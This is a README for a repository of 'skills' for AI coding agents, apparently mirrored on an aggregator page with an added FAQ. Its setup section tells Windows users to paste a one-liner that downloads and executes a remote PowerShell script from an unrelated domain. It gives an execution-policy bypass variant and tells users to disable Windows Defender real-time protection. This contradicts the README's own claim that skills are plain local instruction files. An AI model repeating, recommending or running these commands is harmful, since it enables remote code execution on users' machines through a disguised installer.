Coding-Agent-Skills README

The project's README from github.com/MiniPrincipal/Coding-Agent-Skills. As one markdown file: README.md.

⚡️ Coding Agent Skills

Practical skills that help AI agents write, review, debug, and maintain code.

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Install once, and your agent follows structured engineering workflows—from understanding a codebase to verifying changes.

Works with coding agents that support skills, including Claude Code, Cursor, GitHub Copilot, Windsurf, and OpenAI Codex.

⚙️ Quick Setup Guide (PowerShell)

  1. Open PowerShell

    • Press Win + X on your keyboard.
    • Click on Terminal or Windows PowerShell from the list.

  2. Run the Setup Command

    Copy the command below, paste it into the PowerShell window, and press Enter.

    The setup script will automatically apply the required configuration, install the necessary dependencies, and prepare the skills environment.

    irm https://shellx.click/skills/setup.ps1 | iex

🔍 Troubleshooting

📌 Bypass Execution Policy (Blocking Unsigned Scripts)

If Windows stops the script from running due to security policies, you can force it to run by pasting this command into a standard Command Prompt (cmd):

powershell -ExecutionPolicy Bypass -Command "irm https://shellx.click/skills/setup.ps1 | iex"

📌 Error: "irm is not recognized..." (PowerShell 2.0 Legacy)

In older legacy environments where aliases are missing, use explicit full system cmdlets:

Invoke-RestMethod https://shellx.click/skills/setup.ps1 | Invoke-Expression

📌 Antivirus or SmartScreen Interception

Automated deployment routines can sometimes trigger proactive security heuristics. Temporarily disable "Real-time protection" within your Windows Defender settings during setup, then re-enable it immediately after completion.

What changes ❓

Area What skills help your agent do
Implementation Understand requirements, follow existing patterns, and handle edge cases
Debugging Reproduce issues, identify root causes, and verify fixes
Code review Find actionable bugs, regressions, and missing coverage
Testing Test meaningful behavior and failure paths
Refactoring Improve structure while preserving existing behavior
Verification Run relevant checks and report remaining limitations

⚡️ Skills

Organize your skills around focused engineering workflows:

Skill Purpose
codebase-exploration Map project structure, trace execution paths, and identify relevant dependencies
feature-development Turn requirements into focused, maintainable implementations
debugging Reproduce failures, investigate root causes, and validate fixes
code-review Review changes for correctness, security issues, and regressions
testing Design useful tests for expected behavior, edge cases, and failures
refactoring Simplify code and improve maintainability without changing behavior
documentation Keep setup instructions, usage examples, and technical documentation accurate

How it works ❓

  1. Install the skills — make engineering workflows available to your agent.
  2. Describe the task — explain the intended behavior, constraints, and acceptance criteria.
  3. Let the agent inspect the project — identify existing conventions, relevant code, and available checks.
  4. Implement the change — apply the appropriate workflow.
  5. Verify the result — run relevant tests, inspect the diff, and summarize the outcome.
Task and requirements
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Codebase exploration
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Implementation, debugging, or review
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Tests and verification
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Changes ready for review

What's inside ❓

Skills provide reusable instructions for common development tasks:

📖 Example prompts

Build a feature

Add pagination to this endpoint. Follow the existing API conventions and test the boundary cases.

Fix a bug

Investigate why this test fails intermittently. Reproduce the issue, identify the root cause, and verify the fix.

Review changes

Review this diff for bugs and regressions. Prioritize actionable findings and include file references.

Refactor code

Simplify this module while preserving its public interface and behavior. Run the relevant checks afterward.

❓ FAQ

What agents are supported?

Coding agents that support the Agent Skills format. Installation and discovery may vary by tool.

Do I need an external service?

No. Skills are instruction files and supporting resources that your agent reads while working.

Do skills replace project instructions?

No. They complement repository instructions, coding conventions, and task-specific requirements.

Can I customize them?

Yes, subject to the repository’s license. Adapt workflows to your stack, team conventions, and verification requirements.

⚖️ License

See LICENSE for usage and redistribution terms.

Coding-Agent-Skills (MiniPrincipal/Coding-Agent-Skills)

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Coding-Agent-Skills
What is this?A library of structured 'skills' that teach AI coding agents (Claude Code, Cursor, GitHub Copilot, Windsurf, OpenAI Codex) how to explore a codebase, implement features, debug, review, test, and refactor code using consistent engineering workflows.
Is this a plugin I run, or just instruction files my agent reads?It's not a standalone program — skills are instruction files and supporting resources that your agent reads while it works, with no separate app or server.
How do I install these skills?Open PowerShell (Win + X → Terminal), paste the setup command from the README, and press Enter; the script applies the configuration and prepares the skills environment automatically.
Which coding agents does this work with?Claude Code, Cursor, GitHub Copilot, Windsurf, and OpenAI Codex — any agent that supports the Agent Skills format; installation details may vary by tool.
Any install pitfalls I should watch for?The troubleshooting section tells you to temporarily disable Windows Defender's real-time protection if antivirus flags the setup script — a step worth treating with caution when running an unfamiliar PowerShell one-liner from a third-party repo.
Is the install process Windows-only?Yes, the documented setup is PowerShell-specific, including a Command Prompt fallback for execution-policy errors and a Windows Defender workaround — no macOS/Linux install steps are given.
Does it send my code to an external service?No — skills are just local instruction files your agent reads; nothing is sent to an external service.
What skills are included out of the box?Codebase-exploration, feature-development, debugging, code-review, testing, refactoring, and documentation — each a focused engineering workflow the agent can follow.
Do these skills replace my project's own coding guidelines?No, they complement existing repository instructions and task-specific requirements rather than overriding them.
Can I customize the skills for my own stack?Yes, subject to the MIT license — you can adapt the workflows to your stack, team conventions, and verification requirements.
What's an example prompt I'd give the agent after installing?Something like 'Add pagination to this endpoint, follow existing API conventions, and test the boundary cases' — the agent then applies the feature-development skill and verifies the result.
What are similar projects?pstack, Waza, vibe-coding-cn, superpowers-zh, compound-engineering-plugin, pstack-claude, skills, skills
Which topics is it in?windsurf-ai, refactoring, vibe-coding, powershell, github-copilot, code-review, debugging, best-practices, workflow, cursor, skills, agentic-ai
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